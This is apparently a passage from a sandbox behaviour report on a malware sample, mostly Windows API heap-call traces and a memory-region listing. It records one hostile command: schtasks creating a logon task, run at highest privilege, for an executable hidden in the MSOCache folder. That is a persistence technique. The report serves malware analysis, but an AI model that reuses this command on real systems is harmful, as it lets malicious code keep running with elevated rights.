dwFlags=0x0, lpMem=0x27cec0 | out: hHeap=0x260000) returned 1 [0081.338] GetProcessHeap () returned 0x260000 [0081.338] GetProcessHeap () returned 0x260000 [0081.338] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x299eb0) returned 1 [0081.338] GetProcessHeap () returned 0x260000 [0081.338] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x299eb0) returned 0x82 [0081.339] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x299eb0 | out: hHeap=0x260000) returned 1 [0081.339] GetProcessHeap () returned 0x260000 [0081.339] GetProcessHeap () returned 0x260000 [0081.339] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce90) returned 1 [0081.339] GetProcessHeap () returned 0x260000 [0081.339] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27ce90) returned 0x20 [0081.340] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce90 | out: hHeap=0x260000) returned 1 [0081.340] GetProcessHeap () returned 0x260000 [0081.340] GetProcessHeap () returned 0x260000 [0081.340] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d7a0) returned 1 [0081.340] GetProcessHeap () returned 0x260000 [0081.340] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d7a0) returned 0xe [0081.340] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d7a0 | out: hHeap=0x260000) returned 1 [0081.340] GetProcessHeap () returned 0x260000 [0081.340] GetProcessHeap () returned 0x260000 [0081.340] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce60) returned 1 [0081.340] GetProcessHeap () returned 0x260000 [0081.340] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27ce60) returned 0x20 [0081.340] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce60 | out: hHeap=0x260000) returned 1 [0081.340] GetProcessHeap () returned 0x260000 [0081.340] GetProcessHeap () returned 0x260000 [0081.341] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d7c0) returned 1 [0081.341] GetProcessHeap () returned 0x260000 [0081.341] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d7c0) returned 0xa [0081.341] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d7c0 | out: hHeap=0x260000) returned 1 [0081.341] GetProcessHeap () returned 0x260000 [0081.341] GetProcessHeap () returned 0x260000 [0081.341] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce30) returned 1 [0081.341] GetProcessHeap () returned 0x260000 [0081.341] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27ce30) returned 0x20 [0081.341] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce30 | out: hHeap=0x260000) returned 1 [0081.341] GetProcessHeap () returned 0x260000 [0081.341] GetProcessHeap () returned 0x260000 [0081.341] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d7e0) returned 1 [0081.341] GetProcessHeap () returned 0x260000 [0081.341] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d7e0) returned 0xc [0081.342] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d7e0 | out: hHeap=0x260000) returned 1 [0081.342] GetProcessHeap () returned 0x260000 [0081.342] GetProcessHeap () returned 0x260000 [0081.342] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce00) returned 1 [0081.342] GetProcessHeap () returned 0x260000 [0081.342] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27ce00) returned 0x20 [0081.342] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27ce00 | out: hHeap=0x260000) returned 1 [0081.342] GetProcessHeap () returned 0x260000 [0081.342] GetProcessHeap () returned 0x260000 [0081.342] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27bbd0) returned 1 [0081.342] GetProcessHeap () returned 0x260000 [0081.342] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27bbd0) returned 0x18 [0081.342] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27bbd0 | out: hHeap=0x260000) returned 1 [0081.342] GetProcessHeap () returned 0x260000 [0081.342] GetProcessHeap () returned 0x260000 [0081.342] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275b80) returned 1 [0081.343] GetProcessHeap () returned 0x260000 [0081.343] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275b80) returned 0x20 [0081.343] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275b80 | out: hHeap=0x260000) returned 1 [0081.343] GetProcessHeap () returned 0x260000 [0081.343] GetProcessHeap () returned 0x260000 [0081.343] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275bb0) returned 1 [0081.343] GetProcessHeap () returned 0x260000 [0081.343] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275bb0) returned 0x20 [0081.344] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275bb0 | out: hHeap=0x260000) returned 1 [0081.344] GetProcessHeap () returned 0x260000 [0081.344] GetProcessHeap () returned 0x260000 [0081.344] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275be0) returned 1 [0081.344] GetProcessHeap () returned 0x260000 [0081.344] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275be0) returned 0x20 [0081.345] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275be0 | out: hHeap=0x260000) returned 1 [0081.345] GetProcessHeap () returned 0x260000 [0081.345] GetProcessHeap () returned 0x260000 [0081.345] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275c10) returned 1 [0081.345] GetProcessHeap () returned 0x260000 [0081.345] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275c10) returned 0x20 [0081.345] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275c10 | out: hHeap=0x260000) returned 1 [0081.345] GetProcessHeap () returned 0x260000 [0081.345] GetProcessHeap () returned 0x260000 [0081.346] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27bbf0) returned 1 [0081.346] GetProcessHeap () returned 0x260000 [0081.346] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27bbf0) returned 0x18 [0081.346] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27bbf0 | out: hHeap=0x260000) returned 1 [0081.346] GetProcessHeap () returned 0x260000 [0081.346] GetProcessHeap () returned 0x260000 [0081.346] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275c40) returned 1 [0081.346] GetProcessHeap () returned 0x260000 [0081.346] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275c40) returned 0x20 [0081.346] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275c40 | out: hHeap=0x260000) returned 1 [0081.387] GetProcessHeap () returned 0x260000 [0081.387] GetProcessHeap () returned 0x260000 [0081.387] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275cd0) returned 1 [0081.387] GetProcessHeap () returned 0x260000 [0081.387] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275cd0) returned 0x20 [0081.388] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275cd0 | out: hHeap=0x260000) returned 1 [0081.388] GetProcessHeap () returned 0x260000 [0081.388] GetProcessHeap () returned 0x260000 [0081.388] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275d30) returned 1 [0081.388] GetProcessHeap () returned 0x260000 [0081.388] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275d30) returned 0x20 [0081.388] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275d30 | out: hHeap=0x260000) returned 1 [0081.388] GetProcessHeap () returned 0x260000 [0081.388] GetProcessHeap () returned 0x260000 [0081.388] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275d90) returned 1 [0081.388] GetProcessHeap () returned 0x260000 [0081.388] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275d90) returned 0x20 [0081.389] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275d90 | out: hHeap=0x260000) returned 1 [0081.389] GetProcessHeap () returned 0x260000 [0081.389] GetProcessHeap () returned 0x260000 [0081.389] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275dc0) returned 1 [0081.389] GetProcessHeap () returned 0x260000 [0081.389] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275dc0) returned 0x20 [0081.389] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275dc0 | out: hHeap=0x260000) returned 1 [0081.389] GetProcessHeap () returned 0x260000 [0081.389] GetProcessHeap () returned 0x260000 [0081.389] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27bc10) returned 1 [0081.389] GetProcessHeap () returned 0x260000 [0081.389] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27bc10) returned 0x18 [0081.389] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27bc10 | out: hHeap=0x260000) returned 1 [0081.389] GetProcessHeap () returned 0x260000 [0081.389] GetProcessHeap () returned 0x260000 [0081.389] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275d00) returned 1 [0081.389] GetProcessHeap () returned 0x260000 [0081.389] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275d00) returned 0x20 [0081.390] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275d00 | out: hHeap=0x260000) returned 1 [0081.390] GetProcessHeap () returned 0x260000 [0081.390] GetProcessHeap () returned 0x260000 [0081.390] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27bb90) returned 1 [0081.390] GetProcessHeap () returned 0x260000 [0081.390] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27bb90) returned 0x18 [0081.390] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27bb90 | out: hHeap=0x260000) returned 1 [0081.390] exit (_Code=0) Thread: id = 177 os_tid = 0xcf0 Process: id = "48" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3cf9c000" os_pid = "0xce8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"centralcreditcard\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3914 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3915 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3916 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3917 start_va = 0x80000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 3918 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3919 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3920 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3921 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3922 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3923 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3924 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3925 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3926 start_va = 0x100000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3927 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3928 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3929 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3930 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3931 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3932 start_va = 0x210000 end_va = 0x276fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3933 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3934 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3935 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3936 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3937 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3938 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3939 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3940 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3941 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3942 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3943 start_va = 0x280000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 3944 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 3945 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 3946 start_va = 0x420000 end_va = 0x5a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 3947 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3948 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3949 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3950 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3951 start_va = 0x5b0000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 3952 start_va = 0x740000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 3953 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3954 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3955 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3956 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3957 start_va = 0x1b40000 end_va = 0x1e0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3958 start_va = 0x380000 end_va = 0x3fcfff monitored = 0 entry_point = 0x38cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3959 start_va = 0x380000 end_va = 0x3fcfff monitored = 0 entry_point = 0x38cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3960 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3961 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3962 start_va = 0x1e10000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 3963 start_va = 0x1f00000 end_va = 0x1fdefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 3964 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3965 start_va = 0x2010000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 3966 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3967 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3968 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3969 start_va = 0x110000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 3970 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3971 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 3972 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3973 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3977 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 178 os_tid = 0xce4 [0081.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xffd20 | out: lpSystemTimeAsFileTime=0xffd20*(dwLowDateTime=0x5996e340, dwHighDateTime=0x1d9eb0c)) [0081.567] GetCurrentProcessId () returned 0xce8 [0081.567] GetCurrentThreadId () returned 0xce4 [0081.567] GetTickCount () returned 0x1769d01 [0081.567] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xffd28 | out: lpPerformanceCount=0xffd28*=2488805049156) returned 1 [0081.568] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0081.568] __set_app_type (_Type=0x1) [0081.568] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0081.568] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0081.569] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0081.569] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0081.569] _onexit (_Func=0xff932afc) returned 0xff932afc [0081.570] _onexit (_Func=0xff932b58) returned 0xff932b58 [0081.570] _onexit (_Func=0xff932b80) returned 0xff932b80 [0081.570] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0081.570] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0081.570] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0081.570] _onexit (_Func=0xff932c20) returned 0xff932c20 [0081.571] _onexit (_Func=0xff932c48) returned 0xff932c48 [0081.571] _onexit (_Func=0xff932c70) returned 0xff932c70 [0081.571] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0081.571] WinSqmIsOptedIn () returned 0x0 [0081.572] GetProcessHeap () returned 0x110000 [0081.572] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x1255d0 [0081.572] SetLastError (dwErrCode=0x0) [0081.572] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0081.572] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0081.572] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0081.572] VerifyVersionInfoW (in: lpVersionInformation=0xff4e0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xff4e0) returned 1 [0081.572] GetProcessHeap () returned 0x110000 [0081.572] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12bb90 [0081.572] lstrlenW (lpString="") returned 0 [0081.572] GetProcessHeap () returned 0x110000 [0081.572] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x2) returned 0x12bbb0 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125ac0 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12bbd0 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125af0 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125b20 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125b50 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125b80 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12bbf0 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125bb0 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125be0 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125c10 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125c40 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12bc10 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125c70 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125ca0 [0081.573] GetProcessHeap () returned 0x110000 [0081.573] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x125cd0 [0081.573] GetProcessHeap () returned 0x110000 [0081.574] RtlAllocateHeap (HeapHandle=0x110000, 